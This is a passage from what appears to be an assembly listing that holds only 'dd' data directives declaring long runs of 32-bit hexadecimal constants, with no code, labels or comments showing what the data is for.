		dd 61F7817Ah, 3D2A7602h, 0A22C0C68h, 94871B92h,	5BC7B0D1h
		dd 69D1A67Ch, 0EACF754Ch, 25E98C3Fh, 0A8BB86FCh, 426C611h
		dd 29661A13h, 126984DEh, 0BB64AB08h, 93C3B2BEh,	0F3DD42D1h
		dd 104A6800h, 0DE0BC92Dh, 5BD0E0D6h, 92C1660Ah,	62FA4898h
		dd 1460F2D8h, 0F4DB5FBBh, 0E12E9905h, 3677802Fh, 18001E26h
		dd 443BB53h, 30E939F8h,	0C5B7ED38h, 613D3AC6h, 0DE5A9318h
		dd 416C1A9h, 743BBC9Fh,	5C9936ECh, 887EE827h, 9F418270h
		dd 19F36EADh, 0F36A9712h, 0CF6068Ch, 0F28254DEh, 2280091Fh
		dd 4004DF29h, 564500DAh, 3E960A68h, 0E316372Ah,	1247A39Fh
		dd 0DE213D27h, 82C3B22Dh, 70B1F55Ch, 1171F854h,	0E7EBD7C3h
		dd 75EA82E6h, 7D12B48Ch, 0D0DE6F25h, 0CC744F6Eh, 77DE00Ah
		dd 0CFE9050Bh, 0E865F5F9h, 0F525B02Fh, 0FD8F2FE9h, 5E655C5Ch
		dd 0EB22E1F1h, 3C3DAF93h, 0A035822Ah, 0DC1B9EFBh, 0B20C1613h
		dd 7B70EB9Ch, 7333EB80h, 0ABE95828h, 0FDF314Bh,	0F046D39h
		dd 27D265A3h, 80D2D387h, 62EC5677h, 0F56C5D36h,	2D387509h
		dd 250CD928h, 0C0CBFC2h, 43925F63h, 0A4AD215Bh,	40398550h
		dd 6AB05EDDh, 1EC8B94Ah, 2EF009EEh, 7DE2BB8h, 0E91508A0h
		dd 4BA62DACh, 13A36DF0h, 804F6725h, 0F162E963h,	50CFD995h
		dd 8994B5E9h, 0C3380728h, 4F0F05DFh, 0F910F301h, 63F34B08h
		dd 0B00CE540h, 0C0474A97h, 0B7C5E982h, 0C3C946D6h, 0D86718E8h
		dd 795893A3h, 0D3302583h, 45772A42h, 0C1BD6045h, 360DF356h
		dd 0DC5F581h, 0A3B4852Eh, 7A2D2FD9h, 0F7A382C8h, 0E0E9D321h
		dd 542182EFh, 62010603h, 9F6E7013h, 0C3E1BBB3h,	0D1492B70h
		dd 5525A9F3h, 8B8A09E5h, 490B15A6h, 0FCB71EEDh,	7FEC6126h
		dd 0E23A36E6h, 7A542DDh, 70A9E907h, 0F77C2Fh, 2E0C140h
		dd 1E6EDE35h, 0AC053F02h, 41DAE7B0h, 0E92FD2AEh, 1F3490FAh
		dd 0A5BFBBC6h, 6942D968h, 0EF096776h, 426BD189h, 0E2098E34h
		dd 7EF9D7A1h, 0D07EA5BFh, 0D556B5F1h, 17DE50h, 2D4030A9h
		dd 21A57710h, 5F350504h, 0C5BEF0FCh, 0C47AF2B5h, 17A32A34h
		dd 6137CD17h, 4DD8EAAh,	49E981AAh, 929C682Eh, 4D7C46F9h
		dd 0FC5A428Ch, 2C167ECBh, 49BDA9BCh, 0E324EB04h, 9EC3807Fh
		dd 0E4E8E6Fh, 8D16E2F8h, 0BE8056E8h, 680978CBh,	7CFA4A20h
		dd 0E5A2C95Fh, 49FA563Ch, 552E6392h, 293B12BFh,	6CBDF0ADh
		dd 38C15317h, 24B09h, 6837C35Ch, 612C847h, 5E9CC403h, 823C3A1Bh
		dd 2975B700h, 0E41DE9EEh, 0C3094AC5h, 0AB163CADh, 0D29DD0DEh
		dd 655AE478h, 846A4EA1h, 2C8DB8A5h, 0E906EB0Bh,	764209D9h
		dd 716316BAh, 31C5ABC4h, 2D6586C0h, 25177F0Ch, 18D10570h
		dd 0AF105ECAh, 8594B802h, 89DF6FAAh, 8B7DDED9h,	0BB553667h
		dd 0A4E5DBAFh, 1818CABFh, 0BE696785h, 0F6251ED6h, 5266D214h
		dd 0F85691A3h, 596C2B99h, 531A2D68h, 0BB16445Bh, 0C00727A7h
		dd 378008E7h, 0D8F730E3h, 5B4BF988h, 0C5668681h, 0EF2C6A68h
		dd 3F100D59h, 569EFC75h, 0E403BD2Eh, 0E617A718h, 9A2813B7h
		dd 0EC370130h, 0F0103F07h, 21396CBh, 95164AC4h,	53E867D5h
		dd 0E3E5F616h, 0CF61341Bh, 54E71781h, 2590C9Ch,	0F18858C6h
		dd 2968B848h, 0FDC555Eh, 20979CE2h, 1FF4CBDEh, 9326C756h
		dd 4C07F114h, 0F558B31h, 815768E4h, 4D48A8EDh, 6B3CED2Ah
		dd 6AD460A9h, 20BB0B12h, 0DED9C2B1h, 1CEA509h, 20CA65D0h
		dd 16AE0182h, 6AE96525h, 931C2CADh, 0A50E3DBFh,	5017D61Fh
		dd 2F9A86E9h, 946BBB3Ah, 1A6D5BDh, 0BBA7D23h, 156DC301h
		dd 0B64B0D91h, 315812B9h, 0B708E724h, 8B501DEBh, 33ECC5F0h
		dd 381DBD09h, 0E9804039h, 0B405B715h, 0AC14D958h, 4610D379h
		dd 812D513Bh, 0D20F9B09h, 56E440CFh, 0C42AB852h, 8003D87Ch
		dd 0EC142EEh, 2EA76EB4h, 0D6594A62h, 6597E566h,	0CAF4887Bh
		dd 0A218842Fh, 12B963B0h, 0E0FC3076h, 531D23F8h, 0E18109A7h
		dd 1A2F6D92h, 173FE9F0h, 164D7608h, 84D7FFE8h, 73EB9AC7h
		dd 14BB3C4Ah, 0D716F4CCh, 0A6A1D9F4h, 4564E8D5h, 0D92F22A1h
		dd 0B8B6D02h, 32CEEDE9h, 0E6F6484Fh, 0F921800Eh, 0A44E4CBAh
		dd 19D26641h, 42B4C43h,	3C6F296h, 82C0EC80h, 0B059C1E3h
		dd 722D030Ah, 0A818E651h, 48A90770h, 5285654h, 1142EB07h
		dd 25F5E5Ah, 393A4122h,	5E27C1h, 9D55A368h, 826A8851h
		dd 0C52FD00h, 26DA0153h, 0AD749868h, 0AE5397DFh, 6855000Ch
		dd 8B44758h, 0EDC15D14h, 0B1F91CA4h, 5414DD27h,	89F4DC95h
		dd 12A4CBE2h, 80B9C028h, 91F88CEFh, 5E1E2754h, 0EA277190h
		dd 0D2CAE874h, 0FD672F6h, 0DBCE80DEh, 29DCAEE5h, 0D3CA32A1h
		dd 7FCACDEFh, 1E3C2629h, 12B7A2D6h, 13A8A3E9h, 81A40D58h
		dd 92619238h, 70BA7F9Eh, 7685BB7h, 80B72DBFh, 8EFEF73Fh
		dd 0CB07C45Ch, 0B7FCEFAh, 993D8368h, 0AE55228h,	943745ECh
		dd 0F061AC3h, 74B77B78h, 0DDF0BEFh, 0C3B48796h,	34C26884h
		dd 84FDCDEBh, 5D6C9DD8h, 9E0521FCh, 0EF795B47h,	20E91CC1h
		dd 0D30F2463h, 12FB550h, 8513F9Eh, 0ACA90CDCh, 60029D3Bh
		dd 0BB00EE2Ah, 3D4A688Bh, 7D924B20h, 0D8BB4F5Fh, 0B85AEE65h
		dd 2790C486h, 700140D8h, 83FEB791h, 0B49484E5h,	25519BAAh
		dd 0BE9DB5Ch, 0AB662969h, 0A52B36A1h, 0F211DD49h, 7B1CF1D7h
		dd 9D8F170Fh, 0FAF893C9h, 0EFC9498h, 0EAB76B5Bh, 6C785B00h
		dd 5FE916E5h, 0AE23124Dh, 78F9392h, 0DF27E252h,	0F05BC4FFh
		dd 0FD204BFBh, 4E508482h, 7E705E61h, 0F279AF3Dh, 523CEE5Eh
		dd 0FD8355E9h, 52556640h, 17A4D7B0h, 7B85BE05h,	48F38BFEh
		dd 2CBE9281h, 2C1ED018h, 3A244FD8h, 6DFF709h, 0B217E023h
		dd 95F9FCA7h, 0A5BF12E5h, 0B0A4663h, 7DC80C65h,	33EF84h
		dd 3496CD81h, 304C7B70h, 5DC0F341h, 51F0C589h, 2AF4794Fh
		dd 7C48BAEBh, 1FAA5155h, 0DD06A940h, 0E4B6114h,	6F4A5180h
		dd 6C467E0h, 8983F102h,	232242DDh, 204BB2CDh, 302EA5F9h
		dd 0C31665C8h, 0D32DF065h, 5471F07Bh, 914CB024h, 8476902h
		dd 52027F4Eh, 5C45AC3Ah, 44E7DC27h, 0A4F9460Ch,	52530374h
		dd 0B2DFB450h, 0A3E2962Eh, 695AD30Fh, 0C58786B0h, 1DE91589h
		dd 0FC76E0B7h, 0C15F82D1h, 77FAEB2Eh, 942CEE83h, 2238EEACh
		dd 2475B61Dh, 4D251A19h, 9D9ED07Fh, 8708EEF1h, 0A7303E2Eh
		dd 53F781A5h, 0DFAED53Ah, 0F2292181h, 0BF5E2F00h, 428B194Ah
		dd 0E98D1C23h, 0F948517Fh, 54AA40B3h, 3CBF5F5Bh, 0F85A304Bh
		dd 7D543822h, 50C7E1D1h, 585DE9F2h, 88B32E2Eh, 3F31036h
		dd 6568D7F7h, 1F8B1352h, 0C2149760h, 45666B61h,	0D5AD62D7h
		dd 0EFA4D813h, 0A6F03EDDh, 78D99DE3h, 1539585Bh, 2B4D134Ah
		dd 12FB59B6h, 31D06D4Bh, 5B40662Ah, 584FF03Fh, 0E1D1F9BFh
		dd 320803E9h, 25175864h, 7A4EDC5Bh, 50BA9F26h, 0C495F97Eh
		dd 11E92F34h, 9D7B28Bh,	860B555Bh, 0B368CA90h, 5B20724Bh
		dd 0B4E1E954h, 3C5E2FF2h, 0FB48E531h, 9D51720h,	0C9A685Ah
		dd 34C204F4h, 0B1B900D8h, 93A0D537h, 0B5809F6Ch, 0AB884A69h
		dd 0B1515330h, 0D1F6042Dh, 0CDB549E9h, 7289E0B1h, 26FC597h
		dd 42EF4F59h, 0E9080112h, 0DF7C75BCh, 0F935EFE7h, 895DED4Ah
		dd 232251CBh
		dd 8A582DE2h, 0ED1D8D01h, 4468E949h, 532D34h, 0D936ACBBh
		dd 37E3812Ch, 2A61ADE8h, 8431BF58h, 0DF39F03Ah,	300D551Dh
		dd 0D7A3AC7Ch, 747C4F89h, 0A2E362A5h, 68092FD9h, 0AA43771Eh
		dd 0B208A8FDh, 1668A2BBh, 28108B7h, 0BCD5EEB6h,	0DB35E057h
		dd 307B1B5h, 3B24F2C7h,	0B3D6FF94h, 58B2BC11h, 0E64ED7E9h
		dd 40AA79A4h, 0CF7DFE52h, 6A85635Bh, 0C581F6FEh, 0AC5D5CC1h
		dd 40033E66h, 0ED211420h, 60CAE0A1h, 8155F471h,	37B87A5Ch
		dd 66F8EEC0h, 0E92C6949h, 0BB829CE7h, 85944B63h, 4BD06297h
		dd 0BF7C231h, 0EAC192D8h, 290B6C78h, 0DD0D2A13h, 750E7AA2h
		dd 0F76581DCh, 488E8D09h, 71F3C134h, 0AD365E61h, 4B084156h
		dd 74FA4AAAh, 8822FB53h, 593A050h, 7DC7CD9Ch, 4BC37C90h
		dd 700A1026h, 677D009Fh, 0EB013B0Bh, 61636815h,	2DEE109Ch
		dd 55780273h, 0E82913C5h, 8012942h, 2EE5DCE9h, 277BB5F7h
		dd 9DD49CABh, 7CCA5F67h, 12026886h, 0CFCA2065h,	575E42B0h
		dd 0D33AE5F3h, 0E2ACD9AEh, 4F139E25h, 81B9356Ah, 81684C7Dh
		dd 12ABB820h, 0B2E8321Dh, 0F87AE13Ch, 0A16EB123h, 5254D102h
		dd 0C9D26D00h, 9CD329F8h, 685050E0h, 5884D7BCh,	5DBCC329h
		dd 6139C098h, 0FD5B2A2Ah, 52510812h, 0C0A104EEh, 4C14CAh
		dd 441C60A4h, 0B2BF7B9h, 0D931496Ch, 0BD046016h, 0F28FB4B1h
		dd 0FFF75482h, 0F0A54CC5h, 2DCB936Ah, 0C5CF3855h, 0FAE49F81h
		dd 27EE974Ah, 0B82BF420h, 0EE860B46h, 4E2D5E66h, 0E91459CCh
		dd 6DC7FC34h, 6884CDF9h, 6F30AF7Eh, 0B55B6AE9h,	38EE1E49h
		dd 68EE5BFEh, 227E901h,	0C411913Bh, 7C1CBA00h, 515D3D27h
		dd 0AB5A1296h, 0F66E148Dh, 0D0D91034h, 14DE5F2Fh, 0FCD0C08h
		dd 0A8205ADh, 5B406E90h, 0F92F624Bh, 5AEC780Eh,	0BA45846Dh
		dd 815D9980h, 506E00F1h, 932D0677h, 5458BE69h, 1F400489h
		dd 6C06BD9h, 4B152E03h,	7273E86Ah, 0EF2F0B12h, 0E907CF83h
		dd 188374BBh, 3FA953F4h, 1A80F6E0h, 1266F0Bh, 955D96F0h
		dd 800B9DF0h, 852BE71Bh, 0FD91F83h, 8AB2A96Bh, 79A79AEEh
		dd 9DC54F50h, 5F21BFA9h, 1B9F0ABFh, 29558950h, 652DDC4Eh
		dd 81BCAFB6h, 944265Bh,	816B20h, 0F456BAC9h, 0EFBF574Fh
		dd 6922131Fh, 20B91CE5h, 681319ABh, 20A32360h, 94FE0F18h
		dd 0CD048145h, 201372A3h, 84DD7C0h, 17525FECh, 4D18BA48h
		dd 0FFC7803Ah, 0CF8579E0h, 7DE45FBFh, 367CC837h, 67D3470Fh
		dd 0A583855Ah, 0BB9A34BBh, 9BC6066h, 15E57CB9h,	37989BD8h
		dd 0C565B50Bh, 9463D527h, 98302BB0h, 0AAE3CAC6h, 3CF60469h
		dd 0AB9097E2h, 8C445D17h, 8BEE2BFEh, 2CA951Ah, 0E8C0D8F6h
		dd 482BE007h, 0D47BB730h, 58C1023Ch, 0C09CE980h, 0C0EC5B72h
		dd 8A51F183h, 89138D7Eh, 200159C8h, 284525B8h, 0B34EBFCh
		dd 9F89B1Ch, 2596157h, 1EBD7520h, 5E5D8D72h, 234870E1h
		dd 47209FCDh, 5807B729h, 1E5EC621h, 4E48FC05h, 4D320113h
		dd 60CD5956h, 321C0B34h, 592FCEF0h, 5AA2DE31h, 7EB502D2h
		dd 0FA870E3Ah, 0B2C0B4E9h, 5B7FFD28h, 0AD9962Eh, 3CDD888Fh
		dd 0F14DEFDBh, 0E23FC9D3h, 0ABBB8337h, 0C2FCD3A8h, 0E90F61D9h
		dd 94A93EC4h, 0AE354034h, 43481903h, 0E99E2F1Bh, 66E0569Dh
		dd 0B4E49576h, 3FA03BF3h, 732E1230h, 1606FE5Dh,	24102FFBh
		dd 400634E9h, 0DF49E8CDh, 0E5053776h, 41FE2BDCh, 0C0BB1FEBh
		dd 9B2FBFF5h, 65978906h, 0E707BB1Dh, 99C65B66h,	0B6DB00DFh
		dd 34676D25h, 0BB653AE9h, 811C892Ch, 0C42EEE73h, 0CFBE4E52h
		dd 0E70F6A58h, 0A4038F0Ah, 7F3677A5h, 0D6FC574Ah, 0A8C15BF2h
		dd 4504EEB4h, 1FDE4C81h, 2C84243Dh, 78931F2Bh, 0E6BC3D56h
		dd 0AB398886h, 1C75CA00h, 0F96877ADh, 0FF989550h, 3F0103C3h
		dd 4D532D1Bh, 0A2716D57h, 4053416Bh, 921E1AE9h,	6EEC5E32h
		dd 0A262AFA5h, 0B58A782Dh, 166EFC51h, 5AB5D705h, 60FDA521h
		dd 0FC743D7Bh, 4CCCFA7Eh, 56CD3859h, 0F94838DDh, 0B0213F09h
		dd 0AA864202h, 7689237Ch, 8209F727h, 854BE8Eh, 24875826h
		dd 0EE8694C3h, 0BD3F61Bh, 2CC0FEF0h, 7887326h, 5309D924h
		dd 0AE4C5DA7h, 42E16813h, 2086ECCh, 0E978CD15h,	98F5B8DFh
		dd 0C8C12D6Ah, 9A083C11h, 3EC227DBh, 0D45ACEC4h, 6EBE54C0h
		dd 23072603h, 27E60133h, 3E2159B0h, 22682DD0h, 6B7C9B5Bh
		dd 80D8C5FFh, 0C907DCEEh, 0CB64E933h, 0B6E84E81h, 497868B0h
		dd 59609D17h, 0C93662AFh, 37CE9E40h, 0FD12B0h, 136B04B8h
		dd 0B0211578h, 61B5531Fh, 0ED6E87C1h, 5B68C790h, 35966F9h
		dd 333C256Fh, 10F8CB81h, 9D983FC2h, 8486509h, 64146032h
		dd 91314C7Dh, 85ACA401h, 2CCB2963h, 6081A552h, 3535B3DBh
		dd 25A7A86Bh, 0A7C84D42h, 4B03ACA9h, 3D3BF38Ah,	0C2A5E2h
		dd 882BB485h, 7C5870E5h, 9F7531EBh, 0DCD30126h,	46B5FDFBh
		dd 4A1FF21Bh, 0E1E889C8h, 0C2917A47h, 0F06EE388h, 68EE5887h
		dd 0C340E024h, 0F2F0EF6Fh, 0D68E7405h, 0F92E31EBh, 0F3999FD0h
		dd 75D454C9h, 27F6E04Ch, 0B64C5968h, 850E1A63h,	2FDA9BBBh
		dd 93B2FF50h, 621DD17Fh, 497CE491h, 0A9803962h,	0C9F4108h
		dd 94BDB455h, 0EC9B8413h, 39EDD7D1h, 0C05E2927h, 48F9EA17h
		dd 28E6E750h, 0F85951h,	4EDA4DEDh, 0E9EA01CCh, 0A12F5F27h
		dd 3CD25419h, 0BD06A760h, 0CD41A0C1h, 807ACEBEh, 5E8B01A2h
		dd 370AD272h, 6C327862h, 2375B8E0h, 562D1AE5h, 0CA821BBEh
		dd 75D96C6h, 46500387h,	91084EE9h, 0BF504469h, 11811B94h
		dd 0DC6A096Fh, 0C8482128h, 0B0BEB551h, 849E9373h, 3C4B6804h
		dd 0C110FBE3h, 45267D9Ch, 0A66C3110h, 0DD6C0080h, 0C559BF2Eh
		dd 0A3B853A1h, 275F0D3Dh, 81D47203h, 7CE45E08h,	24084824h
		dd 2B89A18Dh, 5BC91CADh, 0C228F0D3h, 325C18E2h,	2CC12EEh
		dd 2AC82DEBh, 40C990B2h, 34335BE0h, 12BFB293h, 8DFFCC9Bh
		dd 42FAE80Ah, 16C54AA6h, 8D88A21Fh, 5A71E45Ch, 0A061EE8Fh
		dd 8A6CC789h, 90A2BC2Dh, 5E0739DFh, 0D29B03C2h,	723603A7h
		dd 0F53102FCh, 7858EAh,	0CF265C95h, 444144ADh, 889ABEAEh
		dd 422C9958h, 1F03C95Bh, 1458BAA9h, 0AA4B1642h,	330EB9ACh
		dd 0E9C3997Eh, 0E17B7745h, 0AE1E7900h, 6EBC13Eh, 60F30081h
		dd 836E9805h, 12C3FFC3h, 0CD62BD1Ah, 0CD2B31AAh, 543E34D3h
		dd 0E9159BB7h, 0FBA74D28h, 0A41B2E0h, 0D0317B00h, 0C88D055Ah
		dd 0E9A63AEBh, 67C50B27h, 11A1752Fh, 6ADD99E9h,	40B52F8Ch
		dd 2D07AD6Dh, 13ED6FC8h, 66AF5F59h, 0E4E4B40h, 0D8280134h
		dd 0F9B70705h, 66591F03h, 0CA66099Ch, 35D509B0h, 0FC7B4E25h
		dd 810731B1h, 0E355D8F6h, 65E93912h, 0C60390EDh, 7BCD2C72h
		dd 7A030C74h, 69E92B75h, 542228CCh, 937BBBC4h, 5C2EF0F3h
		dd 8C5719DEh, 2A68D047h, 0F832A51Bh, 2587FDF0h,	91E146D6h
		dd 0C3D8A074h, 2B5B9A02h, 0D5A5E957h, 9ED7C10Bh, 39295963h
		dd 0FAB7A234h, 680904E3h, 0F5303FBEh, 6C82DE36h, 5C2FF647h
		dd 2181729Fh, 3B1F567Fh, 0D0D6BC99h, 2E4A761Fh,	40CB3057h
		dd 404FB850h, 25235A00h, 338B7E62h, 8F050048h, 3567AD4Ch
		dd 2F321037h, 60175E79h, 5AE9E43Eh, 0F9C1C5CFh,	50D49116h
		dd 3D507CC7h, 1D0E367Dh, 0E04E179Eh, 131884E6h,	0FE31B862h
		dd 1C50287Dh, 284A06E2h, 34461EEDh, 0D24D3A09h,	83B320A4h
		dd 7DE902C0h, 0FC76D3DCh, 6F3C5073h, 82A54EBEh,	4214187Dh
		dd 0F003C011h, 365B3F6Dh
		dd 0D07E3B2Fh, 230710A6h, 0D0B22E52h, 8398F5DCh, 402D1A91h
		dd 48949657h, 2C24F301h, 0F9464514h, 0D6EE03EBh, 2F187E70h
		dd 3A5CAF5Ah, 13BFC464h, 4CD9F7C0h, 81D81901h, 5296EA13h
		dd 0E6D92230h, 7EED21C1h, 0F3D80E3h, 24B4041h, 0C8E0AB2Ch
		dd 2E412198h, 5AF1912Ah, 0F6EB81FDh, 755F8B83h,	1D5EF7F8h
		dd 0AEE95251h, 0EE688535h, 6EE2CD13h, 4959CF04h, 44C1F380h
		dd 0C144C1Bh, 295C7F01h, 3AD6314Eh, 7CF4A680h, 2F7E9891h
		dd 51AD9B78h, 0C0AF79h,	2455BF2Ah, 161D4F39h, 0C18C82D4h
		dd 21330B8Fh, 5A76B1Fh,	7BAC2DBBh, 7F10DCB9h, 976BA135h
		dd 0DDF02901h, 81B75068h, 0CF48FBC3h, 9CB85F7Ah, 297D150h
		dd 0E963AB5Fh, 40CC2729h, 5AB3EC4Dh, 177B1C29h,	1739FEDCh
		dd 7E37A03Ah, 6D9C1A4Bh, 914C5C31h, 0A24F0D4h, 0B582A05Ch
		dd 0AA4A19D6h, 9A4D0702h, 80A28002h, 0BA06C44Bh, 0C23E7E64h
		dd 114FED5Dh, 0C04EE63h, 2C904C64h, 0F3AD9301h,	3A9A2120h
		dd 40CAE96h, 71142A08h,	2AB38729h, 235D2F08h, 5F501D0h
		dd 6D34158Ch, 749FE73h,	0A7C2AFBCh, 18D07A07h, 12E0C281h
		dd 0AF0AC12Ah, 82E96E05h, 0EF4EBEE8h, 6F68D760h, 603A9E32h
		dd 28760FDAh, 2CA012Eh,	0A5D53158h, 0E780A5BCh,	5B23ECFh
		dd 0AE62E916h, 110D8B2h, 935B3E8Ch, 0FAD01CABh,	517C0928h
		dd 0AEC4803Ah, 568C3E82h, 5B1C9EE0h, 5D684A46h,	1A27075Ah
		dd 0E2950F7Ch, 59777C68h, 13662496h, 0E285C7AEh, 74530A38h
		dd 9E04912h, 8932B45Ch,	18DF21A6h, 8155AEF8h, 9293E5Fh
		dd 97AB75FCh, 0ABD53125h, 0D3CDA6C5h, 3AEC9D3Fh, 4E6405A0h
		dd 218313Eh, 0AF86BEC2h, 965E7CE2h, 4D7AFDEBh, 0CB7910A6h
		dd 312DAB5Fh, 52011F39h, 4FE974B6h, 4A772E1h, 2C061C4Dh
		dd 0BE7781EEh, 0A0EE05A0h, 5949CF8Fh, 0CEBB9301h, 42C4870h
		dd 482E5F0Fh, 374A4980h, 0D7055045h, 0E9461C65h, 0CA7D896Ah
		dd 55E757FEh, 0A26E12E2h, 855DE8ABh, 9D4371ACh,	1161A468h
		dd 1335750Bh, 29EE1AB6h, 38F9483Bh, 6790AF9Ah, 0D4369009h
		dd 0AE0D7D40h, 0A4CE6E78h, 35FC4F71h, 32D4BA52h, 0F0FA3ABh
		dd 0C5BD14DFh, 34FA2B68h, 0F5B084BFh, 1A0D60B4h, 5F4CB392h
		dd 14E320FDh, 9AC2295Bh, 0DB616C09h, 0AF2E25E1h, 176C16F9h
		dd 0B202B951h, 4044D323h, 68024657h, 5D5C4C41h,	0C201D452h
		dd 1FAF0744h, 5F320D14h, 84C28568h, 84B4177h, 6C188B00h
		dd 6AA37250h, 0CCEA5339h, 22913F1h, 7F2A531Ah, 84988E0h
		dd 16E19958h, 0F9BDC49Ah, 2F794158h, 3EA27A85h,	858B98DEh
		dd 530FA420h, 24F848D0h, 0D09511B2h, 1A1CC282h,	8E6BCDA3h
		dd 70707ED9h, 5009C52Fh, 7F42DA0Eh, 408A5A8h, 9365E956h
		dd 7817ACDFh, 0C1A9BE37h, 27404E25h, 5E97E304h,	9000491Eh
		dd 26FB06B1h, 0D9E82A0h, 0FE7E6430h, 4CC53DA2h,	0CE4C6C2Bh
		dd 0E3F4F745h, 0BB1327CFh, 0AE0288D4h, 77150A02h, 641C04C0h
		dd 1EC98C82h, 0D421FF2h, 8459564Dh, 0C0EDAAC3h,	0A60B548Bh
		dd 68001A45h, 35FB39BDh, 9FE9155Dh, 0E505E27Dh,	813A0527h
		dd 25D85B4Eh, 3BF6212Ch, 9F1731A7h, 0DED7B9B8h,	7998EFC9h
		dd 0CDC4CF3Ah, 29CE8DE6h, 5CBCA175h, 6BEDAA04h,	507CFF2Fh
		dd 4126BC20h, 0BDA0E63Ah, 0C4A67C2Dh, 0C9322E2Dh, 7A9E405Fh
		dd 0F73014F4h, 0D14310DEh, 21F8094Ah, 0E1745EF2h, 0FF7B3A02h
		dd 77346445h, 87050580h, 11F3E21h, 0F24C3DDFh, 32C63E66h
		dd 0A2D5106h, 0E91581D6h, 0B874B95Fh, 6ED4BFDAh, 9CFAA44Fh
		dd 0A258CEF2h, 222F510h, 0B68F088h, 0A033573Eh,	4C5AC1E5h
		dd 83F27FCDh, 0AD6A662Dh, 0A324605Fh, 72C83F11h, 0D234BECBh
		dd 4B140C10h, 9D4CD3F9h, 20BA99B4h, 0A9404829h,	0ADF13280h
		dd 0E1040106h, 0C61657EDh, 0D3FA58h, 9CCBB196h,	0FB8FA5A5h
		dd 89CF89EAh, 0C4DF9A68h, 584DF0DEh, 0B0C27E77h, 8FE2C031h
		dd 0FE0DB85Ch, 728604C9h, 0AD9F6EDh, 247DB560h,	54086892h
		dd 4B3290Bh, 80CBFEA1h,	0E0FDC1F3h, 0F58100D9h,	5135125Eh
		dd 12F8FC21h, 0A3DDB09Ch, 80AEE43Ah, 3CEFFA4Ah,	9A602D44h
		dd 2875B70Ah, 0FC5B5FFCh, 4E041CB7h, 8652C812h,	0FEA47EE9h
		dd 0E94E3C41h, 673AC4DAh, 0C30DA21Eh, 7068DFC8h, 540B4EE4h
		dd 1DDF75Dh, 272CDF77h,	64D1E9F4h, 0F0CB748h, 5125507Bh
		dd 559A09D5h, 0E9C15179h, 0F83BF7C3h, 0B6D4A7A8h, 176897D0h
		dd 9015C57Ch, 7E29EB3Ch, 0C11BB7F0h, 6E8BB918h,	58D2FBD8h
		dd 752FD354h, 499061Ch,	0AFBD501Ch, 387566Dh, 1E9E044Ah
		dd 0CCE9B308h, 25B52E72h, 8E0919E0h, 17B76EE1h,	0A2E20493h
		dd 0C044AED0h, 11652C1h, 0BF5DC50Eh, 3F333C7Fh,	181E5883h
		dd 292EF0C6h, 17D292CBh, 1548944h, 2715EC76h, 0DA983F0Dh
		dd 809640F3h, 28EAEF0Eh, 0B7C7AEF7h, 4B2AA115h,	0AAB5DDFCh
		dd 0F2DE18A0h, 0D2D05CDh, 0C0F9547Fh, 22E37457h, 32311C25h
		dd 58D8FD7Ch, 5E50650Bh, 8254781Eh, 0C9C5007h, 1005280Fh
		dd 5B10C20Ch, 0BB0934E3h, 685EA6Ch, 1AA084D1h, 142F0C08h
		dd 0E90B2094h, 61ADE1Fh, 0FFC98FFEh, 44AD82E7h,	9DD873B5h
		dd 5FB2B73Bh, 0CC2D3553h, 141AB737h, 0E9E1297Eh, 0E33BDDA7h
		dd 4BFF926Ah, 0CB00EAACh, 8BE9432Bh, 82A6CA5Dh,	0F9229368h
		dd 55568B29h, 78E9E098h, 4A14C959h, 5BD0E9A3h, 0A284E92Ah
		dd 285868CFh, 59663EE8h, 762297F3h, 0EFEC57A8h,	69E0973h
		dd 0F028AD62h, 9B7A200Eh, 835A5E98h, 6DC1D984h,	2C8EF650h
		dd 0FEEF8658h, 80B65223h, 0AA74C48Fh, 0F302F4ECh, 0A961E95Ah
		dd 5C13DC79h, 0E907D8FAh, 99BA1227h, 0C42A0507h, 0B898AB99h
		dd 609CAA42h, 0B7183E96h, 81DA6C3Bh, 59156B74h,	0B42A67D2h
		dd 5268E8EBh, 97087DD4h, 0FFC1E3C1h, 316841B8h,	64C335B4h
		dd 0C2352702h, 0C45D4B25h, 0D1E51276h, 2832335Ah, 0E359A225h
		dd 0A3B8D596h, 6C4F8E9Fh, 0E69A3CB8h, 29F5E816h, 4F94CE0h
		dd 692AB850h, 2155C183h, 0AC403EE7h, 60C96FF8h,	0B210F841h
		dd 825D9556h, 5F8F6D42h, 1B28A2F3h, 0C8BD6624h,	2DC67825h
		dd 0D2F0D68Ch, 795D2598h, 0E4B35E7Ah, 7F6BE9C6h, 7205B81Ch
		dd 0C7297544h, 0EC582DEFh, 1E17795Fh, 16CB5940h, 0C7F2214Fh
		dd 9C453A58h, 57AFA850h, 0A2488760h, 6E7DABB1h,	11749D9Ah
		dd 0D66789E9h, 75B96930h, 0BF823EF8h, 7846D666h, 2BD62E9h
		dd 44AD2C36h, 7785D29h,	16DA2816h, 6893038Fh, 3513327Eh
		dd 24EDEA3Bh, 0CE02419h, 7E86205Dh, 5AB961BFh, 0E4B2ED2Eh
		dd 6680A8F2h, 0E92EC268h, 1893E836h, 1DD03C12h,	0E8CB2297h
		dd 18E0D354h, 0EEAD4AAFh, 0F8683F60h, 896B34Eh,	8100F177h
		dd 193EFCCDh, 7052BF4Eh, 0CC80060Bh, 6F09FD02h,	732DDBF3h
		dd 0E95602BBh, 7FEC407Fh, 0D3163922h, 97EF0028h, 0E93B8774h
		dd 49B2C432h, 219E84FAh, 0DF4A144h, 44389E29h, 0B40CDF04h
		dd 503DF341h, 51197A91h, 795A0FDBh, 0E2AE62D2h,	0EEFC75h
		dd 1973FECAh, 495BE918h, 0EEC5C2F4h, 8DB84AF5h,	8CDFE4E3h
		dd 78B25280h, 91143048h, 7B09BF30h, 19B9133Dh, 0B6251D4Eh
		dd 4F10FC70h, 4A5AA38Dh, 0E98242ADh, 14491560h,	0A53ADCF0h
		dd 582339Eh, 0FC20CA22h, 0BA93BF25h, 0C78BAEA9h, 9C0A8A4Ch
		dd 89CE017h, 5F139195h,	0E87F15E1h, 671DC4EFh, 1B6298FBh
		dd 0A354E45Ah, 7BA80637h, 0B70C5CF3h, 789D3FF2h, 4E7E02B6h
		dd 11E93963h, 3F3D9B54h
		dd 49D29EADh, 0A0A38789h, 2DBF57E9h, 69EA2F7Eh,	96467B56h
		dd 979FA099h, 43273B0Bh, 75DB0B7Fh, 9B0047CCh, 45012CA9h
		dd 0D35B16DFh, 0CB260204h, 62737E2Eh, 0D53D8E80h, 215CC0DCh
		dd 589F588Eh, 300217CFh, 0EA4E12EBh, 0D7025F9Dh, 0CF27489Dh
		dd 5AA4F052h, 9E0BEC50h, 4D4B5C12h, 854845Dh, 942580FFh
